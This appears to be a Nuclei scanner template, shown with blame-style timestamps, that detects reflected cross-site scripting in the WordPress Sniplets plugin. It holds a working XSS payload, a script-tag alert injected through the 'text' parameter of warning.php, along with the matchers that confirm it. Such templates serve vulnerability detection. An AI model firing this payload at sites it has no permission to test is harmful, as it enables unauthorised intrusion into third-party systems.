2022-02-15 12:05:52 +00:00
|
|
|
id: sniplets-xss
|
|
|
|
|
|
|
|
info:
|
2022-05-13 20:26:43 +00:00
|
|
|
name: Wordpress Plugin Sniplets - Cross-Site Scripting
|
2022-02-15 12:05:52 +00:00
|
|
|
author: dhiyaneshDK
|
|
|
|
severity: medium
|
|
|
|
description: Cross-site scripting (XSS) on Wordpress Plugin Sniplets
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/5194
|
2022-02-15 12:05:52 +00:00
|
|
|
tags: xss,wordpress,wp-plugin,wp
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "</script><script>alert(document.domain)</script>"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|